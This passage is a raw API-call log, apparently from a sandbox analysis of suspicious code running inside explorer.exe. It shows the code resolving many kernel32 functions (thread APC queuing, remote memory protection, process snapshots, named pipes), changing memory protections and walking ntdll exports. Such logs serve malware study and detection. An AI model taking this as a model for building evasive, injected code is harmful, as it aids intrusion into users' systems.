ProcedureAddress=0x27fc40*=0x7704d9a0) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704b6c0) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708e070) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051910) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77061bb0) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770492d0) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77048890) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770547c0) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77053ee0) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77053f20) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77053ec0) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051120) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77053f40) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bfb0) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704ad90) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704ad70) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a2060) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051870) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770571b0) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770635f0) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705bdd0) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704f9d0) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704ec70) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b2fc0) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77057210) returned 0x0 [0039.348] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a0ca0) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77042ce0) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a1bc0) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062b20) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062b90) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704d130) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b3000) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062df0) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77188100) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77056640) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77063690) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770513e0) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77057230) returned 0x0 [0039.349] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770512b0) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770567a0) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705bdf0) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708c0c0) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bac0) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705c4c0) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77057100) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062bd0) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77055cd0) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77056620) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77056f80) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704d910) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051500) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051150) returned 0x0 [0039.350] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708aa70) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704ce10) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770421e0) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705c560) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77055a50) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708a980) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708c380) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708c320) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770420d0) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77048800) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77090000) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708c460) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770469f0) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a29d0) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a2ba0) returned 0x0 [0039.351] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77063540) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a27e0) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bd70) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77044f80) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771840f0) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77243ad0) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705bd20) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a2040) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770577c0) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7722c2d0) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bda0) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062bb0) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051930) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704cf10) returned 0x0 [0039.352] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77041e00) returned 0x0 [0039.353] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770420f0) returned 0x0 [0039.353] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770480a0) returned 0x0 [0039.353] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051370) returned 0x0 [0039.353] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704b210) returned 0x0 [0039.353] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a0da0) returned 0x0 [0039.353] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770d8840) returned 0x0 [0039.353] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bb70) returned 0x0 [0039.353] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x27fc58 | out: BaseAddress=0x27fc58*=0x7fef87e0000) returned 0x0 [0040.780] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e6f58) returned 0x0 [0040.780] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e7d88) returned 0x0 [0040.780] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e761c) returned 0x0 [0040.780] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e761c) returned 0x0 [0040.780] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e7848) returned 0x0 [0040.780] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e7364) returned 0x0 [0040.780] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e7568) returned 0x0 [0040.781] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e77e0) returned 0x0 [0040.781] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7fef87e6f2c) returned 0x0 [0040.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27fc48*=0x2000000, NumberOfBytesToProtect=0x27fc50, NewAccessProtection=0x4, OldAccessProtection=0x27fc40 | out: BaseAddress=0x27fc48*=0x2000000, NumberOfBytesToProtect=0x27fc50, OldAccessProtection=0x27fc40*=0x40) returned 0x0 [0040.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27fbe0*=0x2001000, NumberOfBytesToProtect=0x27fc50, NewAccessProtection=0x20, OldAccessProtection=0x27fc40 | out: BaseAddress=0x27fbe0*=0x2001000, NumberOfBytesToProtect=0x27fc50, OldAccessProtection=0x27fc40*=0x40) returned 0x0 [0040.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27fbe0*=0x203a000, NumberOfBytesToProtect=0x27fc50, NewAccessProtection=0x2, OldAccessProtection=0x27fc40 | out: BaseAddress=0x27fbe0*=0x203a000, NumberOfBytesToProtect=0x27fc50, OldAccessProtection=0x27fc40*=0x40) returned 0x0 [0040.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27fbe0*=0x2064000, NumberOfBytesToProtect=0x27fc50, NewAccessProtection=0x4, OldAccessProtection=0x27fc40 | out: BaseAddress=0x27fbe0*=0x2064000, NumberOfBytesToProtect=0x27fc50, OldAccessProtection=0x27fc40*=0x40) returned 0x0 [0040.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27fbe0*=0x2069000, NumberOfBytesToProtect=0x27fc50, NewAccessProtection=0x2, OldAccessProtection=0x27fc40 | out: BaseAddress=0x27fbe0*=0x2069000, NumberOfBytesToProtect=0x27fc50, OldAccessProtection=0x27fc40*=0x40) returned 0x0 [0040.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27fbe0*=0x206b000, NumberOfBytesToProtect=0x27fc50, NewAccessProtection=0x4, OldAccessProtection=0x27fc40 | out: BaseAddress=0x27fbe0*=0x206b000, NumberOfBytesToProtect=0x27fc50, OldAccessProtection=0x27fc40*=0x40) returned 0x0 [0040.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27fbe0*=0x206d000, NumberOfBytesToProtect=0x27fc50, NewAccessProtection=0x2, OldAccessProtection=0x27fc40 | out: BaseAddress=0x27fbe0*=0x206d000, NumberOfBytesToProtect=0x27fc50, OldAccessProtection=0x27fc40*=0x40) returned 0x0 [0040.786] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0x21c0000 [0040.796] GetTickCount () returned 0x1aba9 [0040.796] GetModuleHandleA (lpModuleName=0x0) returned 0xffb60000 [0040.796] GetVersion () returned 0x1db10106 [0040.796] GetCurrentProcessId () returned 0xae4 [0040.796] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xe4 [0040.797] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x208) returned 0x25bd2f0 [0040.797] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x25bd2f0, nSize=0x104 | out: lpFilename="C:\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe")) returned 0x17 [0040.797] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x1800) returned 0x25bd500 [0040.798] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.799] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0040.799] GetProcAddress (hModule=0x77040000, lpProcName="IsWow64Process") returned 0x770491d0 [0040.799] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xae4) returned 0xec [0040.799] IsWow64Process (in: hProcess=0xec, Wow64Process=0x27fb40 | out: Wow64Process=0x27fb40) returned 1 [0040.799] CloseHandle (hObject=0xec) returned 1 [0040.799] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0040.799] lstrlenA (lpString="A_SHAFinal") returned 10 [0040.800] lstrlenA (lpString="A_SHAInit") returned 9 [0040.800] lstrlenA (lpString="A_SHAUpdate") returned 11 [0040.800] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0040.800] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0040.800] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0040.800] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0040.800] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0040.800] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0040.800] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0040.800] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0040.800] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0040.800] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0040.800] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0040.800] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0040.800] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0040.800] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0040.800] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0040.800] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0040.800] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0040.800] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0040.800] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0040.800] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0040.800] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0040.800] lstrlenA (lpString="CsrClientCallServer") returned 19 [0040.800] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0040.800] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0040.800] lstrlenA (lpString="CsrGetProcessId") returned 15 [0040.800] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0040.800] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0040.800] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0040.801] lstrlenA (lpString="DbgBreakPoint") returned 13 [0040.801] lstrlenA (lpString="DbgPrint") returned 8 [0040.801] lstrlenA (lpString="DbgPrintEx") returned 10 [0040.801] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0040.801] lstrlenA (lpString="DbgPrompt") returned 9 [0040.801] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0040.801] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0040.801] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0040.801] lstrlenA (lpString="DbgUiContinue") returned 13 [0040.801] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0040.801] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0040.801] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0040.801] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0040.801] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0040.801] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0040.801] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0040.801] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0040.801] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0040.801] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0040.801] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0040.801] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0040.801] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0040.801] lstrlenA (lpString="EtwEventEnabled") returned 15 [0040.801] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0040.801] lstrlenA (lpString="EtwEventRegister") returned 16 [0040.801] lstrlenA (lpString="EtwEventUnregister") returned 18 [0040.801] lstrlenA (lpString="EtwEventWrite") returned 13 [0040.801] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0040.801] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0040.801] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0040.801] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0040.801] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0040.801] lstrlenA (lpString="EtwEventWriteString") returned 19 [0040.801] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0040.801] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0040.801] lstrlenA 